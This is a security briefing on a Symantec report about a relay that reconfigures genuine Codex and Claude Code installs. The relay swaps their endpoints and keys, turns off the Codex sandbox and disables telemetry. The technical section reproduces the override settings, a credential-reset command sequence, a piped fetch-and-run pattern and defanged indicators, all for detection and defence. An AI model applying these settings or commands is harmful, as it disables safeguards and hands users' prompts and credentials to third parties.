Symantec: grey market relay reroutes real OpenAI Codex and Claude Code at a dozen organisations, sandbox off

Four settings, nine domains, a dozen organisations

Symantec's Threat Hunter Team prints the heart of its new report in a single line of four settings: sandbox_mode = "danger-full-access", network_access = "true", DISABLE_TELEMETRY=1 and DISABLE_ERROR_REPORTING=1. OpenAI's own configuration reference lists exactly three values for sandbox_mode: read-only, workspace-write and danger-full-access. The relay Symantec describes picks the third, the value Symantec says switches sandboxing off and that OpenAI tells users to "use caution" before choosing. Symantec says it found the relay at "a dozen organizations", most of them in mainland China, since at least early 2026.

The report's indicator list holds 2 file hashes and 24 network lines: 10 host names and 14 URLs, all defanged. Those 24 lines name 9 distinct registrable domains (derived, counted by this site), one more than the "at least eight domains" in the report's own text, because one Claude Code path sits on sorryios[.]chat while the host name list carries only sorryios[.]io. The difference may be a typing slip or a ninth domain; the report does not say which.

This briefing reads Symantec's report, dated 29 October 2026, in full, then reads OpenAI's and Anthropic's own documentation for every setting the report names, so that each change can be stated in the vendor's words. Dark Reading's report of the same day was read for what Symantec told it. All sources were read from 11:20 GMT on Thursday 29 October 2026.

What the record does not establish matters as much. Symantec says it saw the configuration changes, not their use: "the configuration changes described above were observed; the risks that follow from them are potential." It does not say who runs the relay, how many machines were changed, where the relay forwards traffic, whether any prompt, file or credential was kept or sold, or what page or message users copied the setup command from. It prints a sandbox value for Codex and none for Claude Code. Each of those gaps is set out below, beside what the report does show.

What Symantec says it found

The relay does not ship a fake tool. Symantec says "the service does not distribute a modified or trojanized client": users install the genuine OpenAI Codex or Claude Code command line interface from npm, and then, "within minutes to roughly half an hour", a fileless PowerShell or bash setup script arrives through a one line command fetched from a lookalike domain. The script checks for Node.js and the target CLI, installs either silently if missing, and only then rewrites the tool's configuration.

Symantec saw no automated or exploit based delivery. It reads the evidence as users copying a ready made command: the command embeds a relay issued API key and the relay's endpoint, prints progress messages in Chinese, and tells the user to run it again in an elevated PowerShell session if it lacks administrator rights. Symantec adds that it has "not seen the page or message it was copied from".

The rewrite targets ~/.codex/config.toml for Codex and ~/.claude/settings.json for Claude Code. In Symantec's account it replaces the base URL (or ANTHROPIC_BASE_URL) with a domain the relay controls, swaps in a relay issued key, sets both as user scope environment variables "so the change survives a reboot", sets the sandbox to full access, enables network access for the write sandbox, and turns off telemetry and error reporting. On one host the script first ran claude /logout, deleted the ANTHROPIC_AUTH_TOKEN and ANTHROPIC_API_KEY variables and ran claude /login. Symantec says it did not establish whether that step runs everywhere. Several hosts also show the script reading the Windows locale setting straight after installation, which Symantec reads as a check that the machine sits in the region the service serves.

Zoom

Who was affected: Symantec lists industrial automation, electronics manufacturing, semiconductors, pharmaceuticals, shipping, tyre manufacturing, petrochemicals and data centre services, eight sectors. Most of the organisations are in mainland China; the rest are the Chinese operations, and in some cases the home market operations, of multinational electronics and petrochemical firms based in South Korea, Taiwan and Malaysia. Symantec's judgement is that these "look less like chosen targets and more like workplaces where individual employees found and used such a service". No organisation is named.

Why would a reseller need this much control? Symantec says the simplest explanation, getting round the vendors' regional restrictions, "does not require disabling a CLI's sandbox or establishing persistent credentials that survive a reboot". It notes that the Claude Code keys issued by the relay begin sk-ant-oat01-, the prefix Anthropic uses for subscription OAuth tokens rather than sk-ant-api03- pay per use API keys, which it calls "consistent with, though not proof of" a relay pooling flat rate subscriptions and splitting them among customers. Fraud with stolen credentials or payment cards, and resale of the prompts and files that pass through, are in Symantec's words "plausible and cannot be ruled out". Those are possibilities, not findings.

What each changed setting does, in the vendors' own documentation

Symantec's single line of settings mixes keys from two products and does not say which file each lives in. Read against OpenAI's Codex documentation and Anthropic's Claude Code documentation, they sort as the table shows. Every entry in the middle column is the vendor's own statement, read on 29 October 2026.

Two consequences follow from the vendors' pages, and they cut in different directions. For Codex, the printed change removes a boundary that is on by default: OpenAI says the CLI's defaults "include no network access and write permissions limited to the active workspace", and it says to "use caution" before choosing full access. For Claude Code, Anthropic's page says the sandbox starts off, so on a machine where nobody turned it on, the damage the report prints is to routing, credentials and telemetry rather than to a sandbox. Whether the script also changed Claude Code's permission mode is not stated.

The second consequence is quieter. Anthropic's managed settings page says Claude Code fetches remote settings from claude.ai only when the session talks to Anthropic directly, and that "when ANTHROPIC_BASE_URL points somewhere other than Anthropic's API, it starts at the next source". This site's reading: an organisation that sets its Claude Code policy only in the claude.ai console would not reach a relayed session at all. A managed settings file or an MDM profile still applies.

Telemetry needs care too. Anthropic says Claude Code metrics "never include your code, prompts, or file paths", and many organisations turn telemetry off for privacy. On its own, DISABLE_TELEMETRY=1 is not a sign of anything. Symantec's point is that the setting arrived with a new endpoint and a new key, which together "would also suppress any usage signal that might otherwise reach OpenAI or Anthropic".

Zoom

What the report establishes, and what it does not

Zoom

Symantec's analyst said the same to Dark Reading: "We did not see any malicious activity being carried out using these relay services". The report then states the risk plainly: a relay in this position "sees every prompt, file, and secret an employee sends to the agent, and can alter or fabricate every response it returns", and with the sandbox off "a malicious or compromised response could execute with the full privileges of the user's account". It adds that the relay's credentials, set as user scope variables, can be read by any other tool on the machine that reads those variables.

The friendly names doing the work

"Genuine". The tools are the real ones, and Symantec stresses that "this is not a vulnerability in Codex or Claude Code. The tools are behaving as designed once their configuration has been changed." That is exactly why the word comforts too much. A signed, genuine binary obeys whatever its configuration says, so a hash or signature check on the CLI passes on every affected machine. The control that matters is on the configuration file and the environment, not the package.

codex-cli. One of the three installs Symantec prints is npm install -g codex-cli. OpenAI's package is @openai/codex. The npm registry record for codex-cli describes it as "The CLI for codex.js": one version, 0.1.3, first published on 5 March 2014, years before OpenAI's tool. The registry does not connect it to OpenAI or to this relay, and nothing here suggests it is malicious. It does show that an install which looks like Codex by name may not be Codex at all, and an inventory should match on the scoped package name.

"A one line install". Symantec's watch list includes a PowerShell iwr | iex or bash curl | bash run shortly after an npm install. OpenAI's own environment variables page shows its installer run the same way, piping chatgpt.com/codex/install.sh to sh or install.ps1 to iex. So the pattern is not the signal; the destination is. A rule that alerts on every piped install will fire on the vendor's own method, and a rule keyed to approved hosts will not.

"Relay" and "reseller". Both words describe a pipe. Symantec's account describes something that holds the user's credentials, sets the agent's safety configuration, can see every prompt and response, and survives a reboot. Whatever its intent, that is a third party with the access of the employee's own account, which is how an organisation should classify it.

Why the demand exists, on the vendors' own pages

Symantec ties the geography to the fact that "OpenAI and Anthropic do not officially sell their coding agents into mainland China". The vendors' pages agree on the list. OpenAI's API supported countries page does not list China and warns that "accessing or offering access to our services outside of the countries and territories listed below may result in your account being blocked or suspended". Anthropic's Supported Regions Policy, which the page marks effective 12 November 2026, lists South Korea, Taiwan and Malaysia but not China, and says unsupported use includes "use by persons while physically located in an unsupported region, including users and personnel of otherwise supported entities".

On Anthropic's wording, the Chinese operations of a Korean, Taiwanese or Malaysian group sit outside its supported regions even though the parent company's home market is listed. That is a statement about the vendor's terms, not a finding that any affected organisation broke them; Symantec names none, and it describes individual employees reaching for tools they wanted.

Who has an interest

Symantec, part of Broadcom, sells endpoint security, and its report closes by saying its endpoint products will detect and block a malicious file where it is available to them. OpenAI sells Codex and Anthropic sells Claude Code, and both lose revenue and visibility when their tools are resold through a channel they do not run. Dark Reading, the secondary source, published the interview quoted here. None of this changes what the report observed; it is why each claim above is attributed.

This is not Symantec's first report on AI coding tools as a target this month: its earlier Aoki report named AI coding assistant credentials among an infostealer's targets, covered in this earlier briefing.

What to do, in order

The order puts the cheap, decisive checks first. Every vendor control named here is quoted from that vendor's documentation in the Technical details section.

Technical details

Everything below is copied from the source named in each caption, read on 29 October 2026, except the last block, which this site wrote and labels as derived. Symantec prints its settings and commands as single lines inside the text of the report; they are reproduced as printed, without the line breaks a real file would have. Network indicators stay defanged; refang them only inside your own detection tools.

The settings the relay writes. This is the configuration override line. sandbox_mode and network_access are Codex keys from ~/.codex/config.toml; the two DISABLE_ variables are Claude Code environment variables in Anthropic's documentation. Search configuration files and environment variables for each.

sandbox_mode = "danger-full-access" network_access = "true" DISABLE_TELEMETRY=1 DISABLE_ERROR_REPORTING=1

The credential reset seen on one host. It signs the user out of Claude Code, removes two Anthropic credential variables and signs in again, so the relay's credential is the one that remains. A defender can hunt for claude /logout followed closely by Remove-Item Env:ANTHROPIC_ in PowerShell logging.

claude /logout Remove-Item Env:ANTHROPIC_AUTH_TOKEN, Env:ANTHROPIC_API_KEY -ErrorAction SilentlyContinue claude /login

The locale check seen on several hosts. A registry read of the Windows Geo setting straight after installation. On its own it is common; next to a fresh AI CLI install and a piped script it is part of the pattern.

reg.exe QUERY "HKCU\Control Panel\International\Geo" /v Nation /reg:64

The installs and the delivery pattern. Symantec prints the three npm installs users ran shortly before the override (the report breaks this line across two paragraphs), and the shape of the one line command. Note codex-cli is not OpenAI's package.

npm install -g @openai/codex, npm install -g codex-cli, or npm install -g @anthropic-ai/claude-code

iwr -useb <url> | iex or curl | bash

File indicators. SHA256 hashes, file names and Symantec's descriptions. Symantec separates the three fields with dashes; this site prints two spaces instead and changes nothing else.

2a76a28639d896bb41576d0e32d155b78f38b034e052dfe3a7b7e1a478fc0e24  setup-codex.ps1  Fileless PowerShell downloader impersonating an OpenAI Codex CLI setup script
4bfe5ca73a4b0988586a46f789aeedba5db575257b58291934cddb9faa606fdb  setup-claudecode.ps1  Fileless PowerShell/bash downloader impersonating an Anthropic Claude Code CLI setup script

Network indicators. Ten host names then fourteen URLs, defanged and in Symantec's order. Note chat1[.]sorryios[.]chat, which differs from the sorryios[.]io host name above it; Symantec does not explain the difference.

vibe[.]aiok[.]me
aiok[.]me
sorryios[.]io
nuoda[.]vip
chat[.]nuoda[.]vip
rawchat[.]cn
sharedchat[.]cc
mirbuds[.]com
claudechn[.]com
vibe[.]skk[.]moe
hxxps://vibe[.]aiok[.]me
hxxps://vibe[.]aiok[.]me/setup-codex.ps1
hxxps://vibe[.]aiok[.]me/setup-claudecode.ps1
hxxps://chat1[.]sorryios[.]io
hxxps://chat1[.]sorryios[.]io/codex
hxxps://chat1[.]sorryios[.]chat/claudecode
hxxps://chat[.]nuoda[.]vip
hxxps://chat[.]nuoda[.]vip/codex
hxxps://chat[.]nuoda[.]vip/claudecode
hxxps://rawchat[.]cn/codex
hxxps://chat[.]rawchat[.]cn/codex
hxxps://new[.]sharedchat[.]cc/codex
hxxps://gpt4[.]mirbuds[.]com/codex
hxxps://claudechn[.]com/codex

OpenAI's control for Codex. OpenAI's managed configuration page gives this requirements.toml example and says it blocks --ask-for-approval never and --sandbox danger-full-access, including --yolo. The system file lives at /etc/codex/requirements.toml on Linux and macOS and %ProgramData%\OpenAI\Codex\requirements.toml on Windows.

allowed_approval_policies = ["untrusted", "on-request"]
allowed_sandbox_modes = ["read-only", "workspace-write"]

Anthropic's controls for Claude Code. Anthropic's authentication page gives this managed settings example: a session set up for any provider not listed "is refused at startup". The same page says forceLoginOrgUUID blocks sessions that authenticate with ANTHROPIC_API_KEY, ANTHROPIC_AUTH_TOKEN or apiKeyHelper. The managed file lives at /Library/Application Support/ClaudeCode/managed-settings.json on macOS, /etc/claude-code/managed-settings.json on Linux and C:\Program Files\ClaudeCode\managed-settings.json on Windows. The placeholder organisation identifier is Anthropic's.

{
  "forceLoginMethod": "claudeai",
  "forceLoginOrgUUID": ["xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"],
  "allowedProviders": ["anthropic", "bedrock"]
}

Anthropic's sandboxing page shows how to make the sandbox mandatory: failIfUnavailable makes Claude Code exit at startup if the sandbox cannot start, and allowUnsandboxedCommands set to false stops it retrying a blocked command outside the sandbox.

{
  "sandbox": {
    "enabled": true,
    "failIfUnavailable": true,
    "allowUnsandboxedCommands": false
  }
}

A first check on one machine (derived). These read only commands look for the settings Symantec describes. They are this site's, not Symantec's, and they only read; adapt them for your endpoint tool before running them at scale.

# Derived by pk-sharma.com, not printed by Symantec. Read only checks for one machine.
# Linux and macOS
grep -nE 'sandbox_mode|base_url|network_access' ~/.codex/config.toml
grep -nE 'ANTHROPIC_BASE_URL|ANTHROPIC_AUTH_TOKEN|ANTHROPIC_API_KEY|DISABLE_TELEMETRY' ~/.claude/settings.json
env | grep -E 'OPENAI_BASE_URL|CODEX_API_KEY|ANTHROPIC_BASE_URL|ANTHROPIC_AUTH_TOKEN'
# Windows: user scope environment variables live under HKCU\Environment
reg.exe query HKCU\Environment
Select-String -Path "$env:USERPROFILE\.codex\config.toml" -Pattern 'sandbox_mode|base_url|network_access'
Select-String -Path "$env:USERPROFILE\.claude\settings.json" -Pattern 'ANTHROPIC_BASE_URL|ANTHROPIC_AUTH_TOKEN|DISABLE_TELEMETRY'

What was read, and what was not

• Read in full, then read twice more: Symantec's report, fetched from security.com at 11:20 GMT and read again at 11:28 and 11:33 GMT, unchanged.
• Read for the settings: OpenAI's Codex pages on approvals and security, the configuration reference, environment variables and managed configuration; Anthropic's Claude Code pages on environment variables, sandboxing, authentication, managed settings and data usage. The OpenAI addresses redirect to learn.chatgpt.com, where the same pages load.
• Read for context: Dark Reading's report, OpenAI's API supported countries page, Anthropic's Supported Regions Policy, and the npm registry records for codex-cli, @openai/codex and @anthropic-ai/claude-code.
• Not read: the Symantec Protection Bulletin the report points to, and any page or message the relay or its resellers publish. None of the indicator domains was visited.

The question that exposes the gap

Symantec could see this relay because the configuration files and environment variables changed on endpoints it watches. Most organisations check that an AI coding tool is genuine and approved, and stop there. The tool in this report was always genuine. What changed was where it sent every prompt, which key it used, and whether its sandbox existed.

If an employee's coding agent were pointed at someone else's server tonight, with its sandbox off and a stranger's key in place, which of your controls would notice the configuration change before the next prompt left the building?

Key facts